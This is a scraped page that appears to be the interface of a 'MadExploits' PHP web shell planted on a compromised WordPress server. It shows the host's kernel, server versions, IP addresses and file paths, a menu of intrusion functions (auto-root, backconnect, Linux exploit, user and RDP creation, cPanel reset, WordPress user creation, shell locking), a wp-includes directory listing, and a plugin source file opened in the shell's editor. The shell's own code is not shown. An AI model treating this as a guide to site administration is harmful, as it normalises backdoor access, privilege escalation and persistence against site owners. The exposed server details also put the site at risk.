Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 13.59.183.77
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ilpnowa /
web /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
ID3
[ DIR ]
drwxr-xr-x
IXR
[ DIR ]
drwxr-xr-x
Requests
[ DIR ]
drwxr-xr-x
SimplePie
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
certificates
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
customize
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
pomo
[ DIR ]
drwxr-xr-x
random_compat
[ DIR ]
drwxr-xr-x
rest-api
[ DIR ]
drwxr-xr-x
theme-compat
[ DIR ]
drwxr-xr-x
widgets
[ DIR ]
drwxr-xr-x
admin-bar.php
27.98
KB
-rw-r--r--
atomlib.php
11.56
KB
-rw-r--r--
author-template.php
15.75
KB
-rw-r--r--
bookmark-template.php
11.42
KB
-rw-r--r--
bookmark.php
13.35
KB
-rw-r--r--
cache.php
21.09
KB
-rw-r--r--
canonical.php
26.94
KB
-rw-r--r--
capabilities.php
27.55
KB
-rw-r--r--
category-template.php
50.12
KB
-rw-r--r--
category.php
11.7
KB
-rw-r--r--
class-IXR.php
2.51
KB
-rw-r--r--
class-feed.php
522
B
-rw-r--r--
class-http.php
35.32
KB
-rw-r--r--
class-json.php
39.52
KB
-rw-r--r--
class-oembed.php
32.34
KB
-rw-r--r--
class-phpass.php
7.15
KB
-rw-r--r--
class-phpmailer.php
143.34
KB
-rw-r--r--
class-pop3.php
20.43
KB
-rw-r--r--
class-requests.php
29.09
KB
-rw-r--r--
class-simplepie.php
87.17
KB
-rw-r--r--
class-smtp.php
38.55
KB
-rw-r--r--
class-snoopy.php
36.9
KB
-rw-r--r--
class-walker-category-dropdown...
2.05
KB
-rw-r--r--
class-walker-category.php
6.49
KB
-rw-r--r--
class-walker-comment.php
10.91
KB
-rw-r--r--
class-walker-nav-menu.php
8.2
KB
-rw-r--r--
class-walker-page-dropdown.php
2.23
KB
-rw-r--r--
class-walker-page.php
6.56
KB
-rw-r--r--
class-wp-admin-bar.php
16.57
KB
-rw-r--r--
class-wp-ajax-response.php
4.91
KB
-rw-r--r--
class-wp-comment-query.php
40.76
KB
-rw-r--r--
class-wp-comment.php
8.73
KB
-rw-r--r--
class-wp-customize-control.php
24.4
KB
-rw-r--r--
class-wp-customize-manager.php
192.6
KB
-rw-r--r--
class-wp-customize-nav-menus.p...
52.31
KB
-rw-r--r--
class-wp-customize-panel.php
9.35
KB
-rw-r--r--
class-wp-customize-section.php
9.96
KB
-rw-r--r--
class-wp-customize-setting.php
27.47
KB
-rw-r--r--
class-wp-customize-widgets.php
64.2
KB
-rw-r--r--
class-wp-dependency.php
1.51
KB
-rw-r--r--
class-wp-editor.php
59.28
KB
-rw-r--r--
class-wp-embed.php
14.17
KB
-rw-r--r--
class-wp-error.php
4.48
KB
-rw-r--r--
class-wp-feed-cache-transient....
2.48
KB
-rw-r--r--
class-wp-feed-cache.php
745
B
-rw-r--r--
class-wp-hook.php
13.72
KB
-rw-r--r--
class-wp-http-cookie.php
6.3
KB
-rw-r--r--
class-wp-http-curl.php
11.41
KB
-rw-r--r--
class-wp-http-encoding.php
6.29
KB
-rw-r--r--
class-wp-http-ixr-client.php
3.17
KB
-rw-r--r--
class-wp-http-proxy.php
5.82
KB
-rw-r--r--
class-wp-http-requests-hooks.p...
1.83
KB
-rw-r--r--
class-wp-http-requests-respons...
4.17
KB
-rw-r--r--
class-wp-http-response.php
2.8
KB
-rw-r--r--
class-wp-http-streams.php
14.64
KB
-rw-r--r--
class-wp-image-editor-gd.php
12.62
KB
-rw-r--r--
class-wp-image-editor-imagick....
21.17
KB
-rw-r--r--
class-wp-image-editor.php
11.43
KB
-rw-r--r--
class-wp-list-util.php
6.22
KB
-rw-r--r--
class-wp-locale-switcher.php
4.94
KB
-rw-r--r--
class-wp-locale.php
14.21
KB
-rw-r--r--
class-wp-matchesmapregex.php
1.75
KB
-rw-r--r--
class-wp-meta-query.php
21.73
KB
-rw-r--r--
class-wp-metadata-lazyloader.p...
5.25
KB
-rw-r--r--
class-wp-network-query.php
16.72
KB
-rw-r--r--
class-wp-network.php
11.84
KB
-rw-r--r--
class-wp-oembed-controller.php
5.46
KB
-rw-r--r--
class-wp-post-type.php
17.81
KB
-rw-r--r--
class-wp-post.php
6.21
KB
-rw-r--r--
class-wp-query.php
121.06
KB
-rw-r--r--
class-wp-rewrite.php
57.53
KB
-rw-r--r--
class-wp-role.php
2.55
KB
-rw-r--r--
class-wp-roles.php
8
KB
-rw-r--r--
class-wp-session-tokens.php
7.17
KB
-rw-r--r--
class-wp-simplepie-file.php
2.22
KB
-rw-r--r--
class-wp-simplepie-sanitize-ks...
1.73
KB
-rw-r--r--
class-wp-site-query.php
22.64
KB
-rw-r--r--
class-wp-site.php
7.15
KB
-rw-r--r--
class-wp-tax-query.php
18.75
KB
-rw-r--r--
class-wp-taxonomy.php
9.76
KB
-rw-r--r--
class-wp-term-query.php
33.36
KB
-rw-r--r--
class-wp-term.php
5.15
KB
-rw-r--r--
class-wp-text-diff-renderer-in...
712
B
-rw-r--r--
class-wp-text-diff-renderer-ta...
14.84
KB
-rw-r--r--
class-wp-theme.php
46.76
KB
-rw-r--r--
class-wp-user-meta-session-tok...
2.85
KB
-rw-r--r--
class-wp-user-query.php
28.83
KB
-rw-r--r--
class-wp-user.php
20.19
KB
-rw-r--r--
class-wp-walker.php
12.09
KB
-rw-r--r--
class-wp-widget-factory.php
3.66
KB
-rw-r--r--
class-wp-widget.php
17.24
KB
-rw-r--r--
class-wp-xmlrpc-server.php
196.66
KB
-rw-r--r--
class-wp.php
23.2
KB
-rw-r--r--
class-wpglobus-plus-acf.php
1.57
KB
-rw-r--r--
class-wpglobus-plus-menu.php
2.48
KB
-rw-r--r--
class-wpglobus-plus-publish.ph...
15.03
KB
-rw-r--r--
class-wpglobus-plus-slug-acf.p...
1.14
KB
-rw-r--r--
class-wpglobus-plus-slug.php
22.27
KB
-rw-r--r--
class-wpglobus-plus-tablepress...
2.97
KB
-rw-r--r--
class-wpglobus-plus-wpglobedit...
7.36
KB
-rw-r--r--
class-wpglobus-plus-wpseo23.ph...
17.62
KB
-rw-r--r--
class-wpglobus-plus-yoastseo30...
1.25
KB
-rw-r--r--
class.wp-dependencies.php
10.92
KB
-rw-r--r--
class.wp-scripts.php
13.83
KB
-rw-r--r--
class.wp-styles.php
9.56
KB
-rw-r--r--
comment-template.php
86.15
KB
-rw-r--r--
comment.php
108.76
KB
-rw-r--r--
compat.php
15.85
KB
-rw-r--r--
cron.php
16.08
KB
-rw-r--r--
date.php
34.18
KB
-rw-r--r--
default-constants.php
9.34
KB
-rw-r--r--
default-filters.php
26.61
KB
-rw-r--r--
default-widgets.php
2.13
KB
-rw-r--r--
deprecated.php
110.57
KB
-rw-r--r--
embed-template.php
344
B
-rw-r--r--
embed.php
43.31
KB
-rw-r--r--
feed-atom-comments.php
5.23
KB
-rw-r--r--
feed-atom.php
3.02
KB
-rw-r--r--
feed-rdf.php
2.61
KB
-rw-r--r--
feed-rss.php
1.22
KB
-rw-r--r--
feed-rss2-comments.php
3.97
KB
-rw-r--r--
feed-rss2.php
3.68
KB
-rw-r--r--
feed.php
19.09
KB
-rw-r--r--
formatting.php
264.84
KB
-rw-r--r--
functions.php
183.38
KB
-rw-r--r--
functions.wp-scripts.php
11.21
KB
-rw-r--r--
functions.wp-styles.php
7.89
KB
-rw-r--r--
general-template.php
135.77
KB
-rw-r--r--
http.php
21.65
KB
-rw-r--r--
kses.php
48.93
KB
-rw-r--r--
l10n.php
42.46
KB
-rw-r--r--
link-template.php
133.25
KB
-rw-r--r--
load.php
33.11
KB
-rw-r--r--
locale.php
141
B
-rw-r--r--
media-template.php
45.03
KB
-rw-r--r--
media.php
137.07
KB
-rw-r--r--
meta.php
41.76
KB
-rw-r--r--
ms-blogs.php
38.26
KB
-rw-r--r--
ms-default-constants.php
4.6
KB
-rw-r--r--
ms-default-filters.php
4.54
KB
-rw-r--r--
ms-deprecated.php
15.32
KB
-rw-r--r--
ms-files.php
2.56
KB
-rw-r--r--
ms-functions.php
89
KB
-rw-r--r--
ms-load.php
18.8
KB
-rw-r--r--
ms-settings.php
3.99
KB
-rw-r--r--
nav-menu-template.php
20.38
KB
-rw-r--r--
nav-menu.php
38.6
KB
-rw-r--r--
option.php
66.16
KB
-rw-r--r--
pluggable-deprecated.php
6.12
KB
-rw-r--r--
pluggable.php
89.97
KB
-rw-r--r--
plugin.php
30.93
KB
-rw-r--r--
post-formats.php
6.81
KB
-rw-r--r--
post-template.php
57.35
KB
-rw-r--r--
post-thumbnail-template.php
8.02
KB
-rw-r--r--
post.php
214.7
KB
-rw-r--r--
query.php
25.02
KB
-rw-r--r--
registration-functions.php
178
B
-rw-r--r--
registration.php
178
B
-rw-r--r--
rest-api.php
37.63
KB
-rw-r--r--
revision.php
20.81
KB
-rw-r--r--
rewrite.php
17.09
KB
-rw-r--r--
rss-functions.php
191
B
-rw-r--r--
rss.php
22.66
KB
-rw-r--r--
script-loader.php
78.28
KB
-rw-r--r--
session.php
242
B
-rw-r--r--
shortcodes.php
19.96
KB
-rw-r--r--
spl-autoload-compat.php
2.51
KB
-rw-r--r--
taxonomy.php
147.09
KB
-rw-r--r--
template-loader.php
2.83
KB
-rw-r--r--
template.php
19.33
KB
-rw-r--r--
theme.php
97.44
KB
-rw-r--r--
update.php
24.11
KB
-rw-r--r--
user.php
118.2
KB
-rw-r--r--
vars.php
5.45
KB
-rw-r--r--
version.php
649
B
-rw-r--r--
widgets.php
54.14
KB
-rw-r--r--
wlwmanifest.xml
1.02
KB
-rw-r--r--
wp-db.php
97.14
KB
-rw-r--r--
wp-diff.php
661
B
-rw-r--r--
wpglobus-plus-acf.php
296
B
-rw-r--r--
wpglobus-plus-main.php
10.57
KB
-rw-r--r--
wpglobus-plus-menu.php
205
B
-rw-r--r--
wpglobus-plus-publish.php
217
B
-rw-r--r--
wpglobus-plus-slug.php
360
B
-rw-r--r--
wpglobus-plus-tablepress-funct...
1.14
KB
-rw-r--r--
wpglobus-plus-tablepress.php
226
B
-rw-r--r--
wpglobus-plus-wpglobeditor.php
2.29
KB
-rw-r--r--
wpglobus-plus-wpseo.php
884
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wpglobus-plus-slug.php
<?php /** * Class WPGlobusPlus_Slug * * @since 1.0.0 */ if ( ! class_exists( 'WPGlobusPlus_Slug' ) ) : /** * Class WPGlobusPlus_Slug */ class WPGlobusPlus_Slug { /** * @var string $post_name Store new post name * @see get_sample_permalink_html() */ public $post_name = ''; /** * @var string $meta_key For get/put wp_postmeta table */ public $meta_key = '_wpglobus_slug_'; /** @var bool Prevents recursion and double-filtering */ protected $_do_filter_permalinks = true; /** */ public function __construct() { if ( is_admin() ) { add_filter( 'wpglobus_plus_slug_meta_key', array( $this, 'get_slug_meta_key' ) ); add_filter( 'wpglobus_wpseo_permalink', array( $this, 'filter__wpglobus_plus_localize_url' ), 10, 2 ); add_filter( 'wpglobus_edit_slug_box', array( $this, 'on_edit_slug_box' ), 10, 2 ); add_action( 'wp_ajax_' . __CLASS__ . '_process_ajax', array( $this, 'on_process_ajax' ) ); add_action( 'admin_print_scripts', array( $this, 'on_admin_scripts' ) ); } else { add_action( 'pre_get_posts', array( $this, 'filter__pre_get_posts' ), 0 ); add_filter( 'the_posts', array( $this, 'filter__the_posts' ), 0, 2 ); add_filter( 'wpglobus_pre_localize_current_url', array( $this, 'filter__wpglobus_pre_localize_current_url' ), 0, 2 ); /** * @since 1.1.3 */ add_filter( 'template_include', array( $this, 'filter__template_include' ), 0 ); add_filter( 'post_link', array( $this, 'filter__post_link' ), 0, 2 ); add_filter( 'page_link', array( $this, 'filter__post_link' ), 0, 2 ); /** * @since 1.1.3 */ add_filter( 'post_type_link', array( $this, 'filter__post_type_link' ), 0, 4 ); } } /** * Redirect when trying opening post in extra language with post_name from default language * ex: site/de/music-world/ will be redirected to site/de/musik-welt/ * * @since 1.1.3 * @param string $template * @return string */ public function filter__template_include( $template ) { if ( WPGlobus::Config()->language == WPGlobus::Config()->default_language ) { return $template; } global $wp_query; if ( is_singular() ) : $wpglobus_slug = get_post_meta( $wp_query->post->ID, $this->meta_key . WPGlobus::Config()->language, true ); $wpglobus_slug = urlencode( $wpglobus_slug ); if ( $wpglobus_slug && false === mb_strpos( $_SERVER['REQUEST_URI'], $wpglobus_slug ) ) { if ( false === mb_strpos( $_SERVER['REQUEST_URI'], urlencode($wp_query->post->post_name) ) ) { /** * @todo may be need set 404 page */ //$wp_query->set_404(); //return get_404_template(); } else { wp_redirect( $_SERVER['REQUEST_SCHEME'] . '://' . $_SERVER['SERVER_NAME'] . str_replace(urlencode($wp_query->post->post_name), $wpglobus_slug, $_SERVER['REQUEST_URI']) ); exit; } } endif; return $template; } /** * Return $meta_key * * @since 1.0.0 * @param none * @return string */ public function get_slug_meta_key() { return $this->meta_key; } /** * Filter pre_get_posts. * Fixes the problem of /{language}/ treated as a category by WP * * @since 1.0.0 * @param WP_Query $query */ public function filter__pre_get_posts( $query ) { if ( WPGlobus::Config()->language === WPGlobus::Config()->default_language ) { return; } if ( ! $query->is_category() ) { return; } if ( empty( $query->query['category_name'] ) ) { return; } // /%category%/%postname%/ if ( 0 !== strpos( get_option( 'permalink_structure' ), '/%category%' ) ) { return; } global $wpdb; $meta_query = $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta, $wpdb->posts WHERE ID = post_id AND post_type = 'page' AND meta_key = %s AND meta_value = %s", $this->meta_key . WPGlobus::Config()->language, urldecode( $query->query['category_name'] ) ); $id = (int) $wpdb->get_var( $meta_query ); if ( $id === 0 ) { return; } $query->set( 'page', '' ); $query->set( 'pagename', $query->query['category_name'] ); $query->query['pagename'] = $query->query['category_name']; $query->queried_object_id = $id; $query->queried_object = get_post( $id ); $query->set( 'category_name', '' ); unset( $query->query['category_name'] ); $query->is_category = false; $query->is_page = true; $query->is_singular = true; /** * With /{language}/ treated as a category by WP $query->is_archive is set to true by default * We need to set it false * @since 1.1.6 */ $query->is_archive = false; } /** * Filter the permalink for a post. * Only applies to posts with post_type of 'post'. * * @since 1.0.0 * @param string $permalink The post's permalink. * @param int|WP_Post $post The post in question. * @return string */ public function filter__post_link( $permalink, $post ) { if ( ! $this->_do_filter_permalinks ) { return $permalink; } // post_link filter passes WP_Post // page_link filter passes int if ( is_numeric( $post ) ) { /** @noinspection CallableParameterUseCaseInTypeContextInspection */ $post = get_post( $post ); } // precaution if ( ! $post ) { return $permalink; } $language = WPGlobus::Config()->language; // Check if there is a slug meta $wpglobus_slug = get_post_meta( $post->ID, $this->meta_key . $language, true ); if ( $wpglobus_slug ) { // Work with a copy of the post object $post_clone = new WP_Post( $post ); // If slug meta is set, set the post slug (post_name) to it, // so that get_permalink will use it $post_clone->post_name = urlencode( $wpglobus_slug ); $save_do_filter_permalinks = $this->_do_filter_permalinks; $this->_do_filter_permalinks = false; // Get the permalink and localize it (set the language prefix) $permalink = WPGlobus_Utils::localize_url( get_permalink( $post_clone ), $language ); $this->_do_filter_permalinks = $save_do_filter_permalinks; // Do not need the post copy anymore unset( $post_clone ); } return $permalink; } /** * Filter the permalink for a post with a custom post type. * * @since 1.1.3 * @param string $post_link The post's permalink. * @param int|WP_Post $post The post in question. * @param bool $leavename Defaults to false. Whether to keep post name. * @param bool $sample Defaults to false. Is it a sample permalink.. * @return string */ public function filter__post_type_link( $post_link, $post, $leavename, $sample ) { if ( $leavename ) { /** * Whether to keep the post name. When set to true, a structural link will be returned, rather than the actual URI. * @see get_post_permalink() */ return $post_link; } $post_link = $this->filter__post_link( $post_link, $post ); return $post_link; } /** * Filter for localize url * * @since 1.0.0 * @scope admin * @global WP_Post $post * @param string $url * @param string $language * @return string */ public function filter__wpglobus_plus_localize_url( $url = '', $language = '' ) { if ( '' === $url ) { return $url; } global $post; if ( $language === WPGlobus::Config()->default_language ) { $url = WPGlobus_Utils::localize_url( $url, $language ); } else { $wpglobus_slug = get_post_meta( $post->ID, $this->meta_key . $language, true ); if ( $wpglobus_slug ) { /** * @see get_sample_permalink_html() */ list( $permalink, $post_name ) = get_sample_permalink( $post->ID, '', $wpglobus_slug ); $pretty_permalink = str_replace( array( '%pagename%', '%postname%' ), $post_name, urldecode( $permalink ) ); $url = WPGlobus_Utils::localize_url( $pretty_permalink, $language ); } } return $url; } /** * Use the slug metas in URL localization * * @since 1.0.0 * @param string $url * @param string $language * @return string * @global WP_Query $wp_query */ public function filter__wpglobus_pre_localize_current_url( $url = '', $language = '' ) { global $wp_query; // Single post/page if ( $wp_query->is_singular && $wp_query->is_main_query() ) { // Work with a copy of the post object $post_clone = new WP_Post( $wp_query->post ); // Check if there is a slug meta $wpglobus_slug = get_post_meta( $wp_query->post->ID, $this->meta_key . $language, true ); // If slug meta is set, set the post slug (post_name) to it, // so that get_permalink will use it if ( $wpglobus_slug ) { $post_clone->post_name = $wpglobus_slug; } $save_do_filter_permalinks = $this->_do_filter_permalinks; $this->_do_filter_permalinks = false; // Get the permalink and localize it (set the language prefix) $url = WPGlobus_Utils::localize_url( get_permalink( $post_clone ), $language ); $this->_do_filter_permalinks = $save_do_filter_permalinks; // Do not need the post copy anymore unset( $post_clone ); // If there were any URL query parameters, restore them. Permalink did not have them. if ( ! empty( $_SERVER['QUERY_STRING'] ) ) { $url .= '?' . $_SERVER['QUERY_STRING']; } } return $url; } /** * Filter the_posts * * @since 1.0.0 * @param WP_Post[] $posts * @param WP_Query $wp_query * @return array */ public function filter__the_posts( $posts, WP_Query $wp_query ) { if ( WPGlobus::Config()->language === WPGlobus::Config()->default_language ) { return $posts; } $post_or_page_name = ''; if ( '' !== $wp_query->query_vars['name'] ) { $post_or_page_name = $wp_query->query_vars['name']; } else if ( '' !== $wp_query->query_vars['pagename'] ) { $post_or_page_name = $wp_query->query_vars['pagename']; } else if ( '' !== $wp_query->query_vars['category_name'] ) { // case when option 'permalink_structure' == /%category%/%postname%/ $post_or_page_name = $wp_query->query_vars['category_name']; } if ( 0 === $wp_query->post_count && '' !== $post_or_page_name ) { $meta_key = $this->meta_key . WPGlobus::Config()->language; $post_type = $wp_query->query_vars['post_type']; global $wpdb; if ( empty( $post_type ) ) { $query = $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta, $wpdb->posts WHERE ID = post_id AND ( post_type = 'post' OR post_type = 'page' ) AND meta_key = %s AND meta_value = %s", $meta_key, urldecode( $post_or_page_name ) ); } else { $query = $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta, $wpdb->posts WHERE ID = post_id AND post_type = %s AND meta_key = %s AND meta_value = %s", $post_type, $meta_key, urldecode( $post_or_page_name ) ); } $id = (int) $wpdb->get_var( $query ); if ( $id === 0 ) { /** * @todo maybe need to set 404 in some cases, need to investigate */ //$wp_query->set_404(); //status_header(404); //nocache_headers(); //return array(); } else { $post = get_post( $id ); if ( $post ) { if ( 'page' == $post->post_type ) { if ( ! $wp_query->is_page ) { /** * Noted for permalink settings http://sitename/%postname%/ */ /** * Make $wp_query compatible with page * @see $wp_query: we have different $wp_query->request for default language and for extra language */ $wp_query->query['pagename'] = $wp_query->query['name']; $wp_query->query_vars['pagename'] = $wp_query->query['name']; $wp_query->query_vars['name'] = $wp_query->query['name']; unset( $wp_query->query['name'] ); $wp_query->queried_object = $post; $wp_query->queried_object_id = $post->ID; $wp_query->posts = array( $post ); $wp_query->found_posts = 1; $wp_query->is_single = false; $wp_query->is_page = true; } } else { /** * Make $wp_query compatible with post * @see $wp_query: we have different text in post_content, post_title ( $wp_query->posts ) */ $wp_query->posts = array( $post ); $wp_query->found_posts = 1; } return array( $post ); } } } return $posts; } /** * @param string $slug_box Unused * @param string $language * @return string * @global object $post_type_object * @global WP_Post $post */ public function on_edit_slug_box( /** @noinspection PhpUnusedParameterInspection */ $slug_box, $language ) { global $post_type_object, $post; $permalink = get_permalink( $post->ID ); if ( ! $permalink ) { $permalink = ''; } $slug_box = '<div class="inside">'; $sample_permalink_html = $post_type_object->public ? $this->get_sample_permalink_html( $post->ID, null, null, $language ) : ''; $shortlink = wp_get_shortlink( $post->ID, 'post' ); if ( ! empty( $shortlink ) && $shortlink !== $permalink && $permalink !== home_url( '?page_id=' . $post->ID ) ) { $sample_permalink_html .= '<input id="shortlink-' . $language . '" type="hidden" value="' . esc_attr( $shortlink ) . '" /><a href="#" class="button button-small" onclick="prompt('URL:', jQuery(\'#shortlink-' . $language . '\').val()); return false;">' . __( 'Get Shortlink' ) . '</a>'; } if ( $post_type_object->public && ! ( 'pending' === get_post_status( $post ) && ! current_user_can( $post_type_object->cap->publish_posts ) ) ) { $has_sample_permalink = $sample_permalink_html && 'auto-draft' !== $post->post_status; $slug_box .= '<div id="edit-slug-box-' . $language . '" class="wpglobus-edit-slug-box hide-if-no-js" style="' . apply_filters( 'wpglobus_plus_slug_box_style', '', $language ) . '">'; if ( $has_sample_permalink ) { $slug_box .= $sample_permalink_html; } $slug_box .= '</div>'; } $slug_box .= '</div>'; return $slug_box; } /** * Returns the HTML of the sample permalink slug editor. * * @see original get_sample_permalink_html() * @since 1.0.0 * @param int $id Post ID or post object. * @param string $new_title Optional. New title. Default null. * @param string $new_slug Optional. New slug. Default null. * @param string $language * @return string The HTML of the sample permalink slug editor. */ public function get_sample_permalink_html( $id, $new_title = null, $new_slug = null, $language ) { $post = get_post( $id ); if ( ! $post ) { return ''; } list( $permalink, $post_name ) = get_sample_permalink( $post->ID, $new_title, $new_slug ); if ( $new_title === null && $new_slug === null ) { $slug = get_post_meta( $post->ID, $this->meta_key . $language, true ); if ( ! empty( $slug ) ) { $post_name = $slug; } } else { if ( $language !== WPGlobus::Config()->default_language ) : /** * Make unique slug for extra language * * @see wp_unique_post_slug() https://core.trac.wordpress.org/browser/tags/4.2.4/src/wp-includes/post.php#L0 * @see $check_sql = "SELECT post_name FROM $wpdb->posts WHERE post_name = %s AND post_type = %s AND ID != %d LIMIT 1"; */ /** @global wpdb $wpdb */ global $wpdb; $meta_key = $this->meta_key . $language; $check_sql = "SELECT meta_value FROM $wpdb->postmeta WHERE meta_key = '%s' AND meta_value = '%s' AND post_id != %d LIMIT 1"; $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $meta_key, $post_name, $id ) ); if ( $post_name_check ) { $suffix = 2; do { $alt_post_name = _truncate_post_slug( $post_name, 200 - ( strlen( $suffix ) + 1 ) ) . "-$suffix"; $post_name_check = $wpdb->get_var( $wpdb->prepare( $check_sql, $meta_key, $alt_post_name, $id ) ); $suffix ++; } while ( $post_name_check ); $post_name = $alt_post_name; } endif; } if ( current_user_can( 'read_post', $post->ID ) ) { $ptype = get_post_type_object( $post->post_type ); $view_post = $ptype->labels->view_item; } if ( 'publish' === get_post_status( $post ) ) { $title = __( 'Click to edit this part of the permalink' ); } else { $title = __( 'Temporary permalink. Click to edit this part.' ); } if ( false === strpos( $permalink, '%postname%' ) && false === strpos( $permalink, '%pagename%' ) ) { $return = '<strong>' . __( 'Permalink:' ) . "</strong>\n" . '<span id="sample-permalink-' . $language . '" tabindex="-1">' . WPGlobus_Utils::localize_url( $permalink, $language ) . "</span>\n"; if ( '' === get_option( 'permalink_structure' ) && current_user_can( 'manage_options' ) && ! ( 'page' === get_option( 'show_on_front' ) && $id === get_option( 'page_on_front' ) ) ) { $return .= '<span id="change-permalinks-' . $language . '"><a href="options-permalink.php" class="button button-small" target="_blank">' . __( 'Change Permalinks' ) . "</a></span>\n"; } } else { if ( function_exists( 'mb_strlen' ) ) { if ( mb_strlen( $post_name ) > 30 ) { $post_name_abridged = mb_substr( $post_name, 0, 14 ) . '…' . mb_substr( $post_name, - 14 ); } else { $post_name_abridged = $post_name; } } else { if ( strlen( $post_name ) > 30 ) { $post_name_abridged = substr( $post_name, 0, 14 ) . '…' . substr( $post_name, - 14 ); } else { $post_name_abridged = $post_name; } } $this->post_name = $post_name; $post_name_html = '<span id="editable-post-name-' . $language . '" class="wpglobus-editable-post-name" data-language="' . $language . '" title="' . $title . '">' . $post_name_abridged . '</span>'; $display_link = str_replace( array( '%pagename%', '%postname%' ), $post_name_html, urldecode( $permalink ) ); $pretty_permalink = str_replace( array( '%pagename%', '%postname%' ), $post_name, urldecode( $permalink ) ); $return = '<strong>' . __( 'Permalink:' ) . "</strong>\n"; $return .= '<span id="sample-permalink-' . $language . '" class="wpglobus-sample-permalink" tabindex="-1">' . WPGlobus_Utils::localize_url( $display_link, $language ) . "</span>\n"; $return .= '‎'; // Fix bi-directional text display defect in RTL languages. $return .= '<span id="edit-slug-buttons-' . $language . '" class="wpglobus-edit-slug-buttons"><a href="#post_name" class="edit-slug button button-small hide-if-no-js" onclick="WPGlobusSlug.editPermalink(' . $id . ',\'' . $language . '\'); return false;">' . __( 'Edit' ) . "</a></span>\n"; $return .= '<span id="editable-post-name-full-' . $language . '" class="wpglobus-editable-post-name-full">' . $post_name . "</span>\n"; } if ( isset( $view_post ) ) { if ( 'draft' === $post->post_status ) { $preview_link = set_url_scheme( get_permalink( $post->ID ) ); /** This filter is documented in wp-admin/includes/meta-boxes.php */ $preview_link = apply_filters( 'preview_post_link', add_query_arg( 'preview', 'true', $preview_link ), $post ); $preview_link = WPGlobus_Utils::localize_url( $preview_link, $language ); $return .= "<span id='view-post-btn-" . $language . "' class='wpglobus-view-post-btn'><a href='" . esc_url( $preview_link ) . "' class='button button-small' target='wp-preview-{$post->ID}'>$view_post</a></span>\n"; } else { if ( empty( $pretty_permalink ) ) { $pretty_permalink = $permalink; } $pretty_permalink = WPGlobus_Utils::localize_url( $pretty_permalink, $language ); $return .= "<span id='view-post-btn-" . $language . "' class='wpglobus-view-post-btn'><a href='" . $pretty_permalink . "' class='button button-small'>$view_post</a></span>\n"; } } /** * Filter the sample permalink HTML markup. * * @since 2.9.0 * @param string $return Sample permalink HTML markup. * @param int|WP_Post $id Post object or ID. * @param string $new_title New sample permalink title. * @param string $new_slug New sample permalink slug. */ //$return = apply_filters( 'get_sample_permalink_html', $return, $id, $new_title, $new_slug ); return $return; } public function on_admin_scripts() { if ( WPGlobus_WP::is_pagenow( array( 'post.php', 'post-new.php' ) ) ) : wp_register_script( 'wpglobus-plus-slug', plugin_dir_url( __FILE__ ) . 'js/wpglobus-plus-slug' . WPGlobus::SCRIPT_SUFFIX() . ".js", array( 'jquery' ), WPGLOBUS_PLUS_VERSION, true ); wp_enqueue_script( 'wpglobus-plus-slug' ); wp_localize_script( 'wpglobus-plus-slug', 'WPGlobusSlug', array( 'data' => array( 'version' => WPGLOBUS_PLUS_VERSION, 'process_ajax' => __CLASS__ . '_process_ajax', 'slug_type' => 'meta' ) ) ); endif; } public function on_process_ajax() { $ajax_return = array(); $order = $_POST['order']; switch ( $order['action'] ) : case 'wpglobus-sample-permalink': /** * @see wp_ajax_sample_permalink() */ //check_ajax_referer( 'samplepermalink', 'samplepermalinknonce' ); $order['post_id'] = isset( $order['post_id'] ) ? (int) $order['post_id'] : 0; $order['new_title'] = isset( $order['new_title'] ) ? $order['new_title'] : ''; $order['new_slug'] = isset( $order['new_slug'] ) ? $order['new_slug'] : null; if ( $order['post_id'] !== 0 ) : if ( $order['slug_type'] === 'meta' ) { $ajax_return = $this->update_post_meta( $order ); } endif; break; endswitch; wp_die( json_encode( $ajax_return ) ); } /** * update_post_meta * * @since 1.0.0 * @param array $order * @return string */ public function update_post_meta( $order ) { $ajax_return = $this->get_sample_permalink_html( $order['post_id'], $order['new_title'], $order['new_slug'], $order['language'] ); /** * for $this->post_name @see $this->get_sample_permalink_html() */ update_post_meta( $order['post_id'], $this->meta_key . $order['language'], $this->post_name ); return $ajax_return; } } // WPGlobusPlus_Slug endif; # --- EOF
Close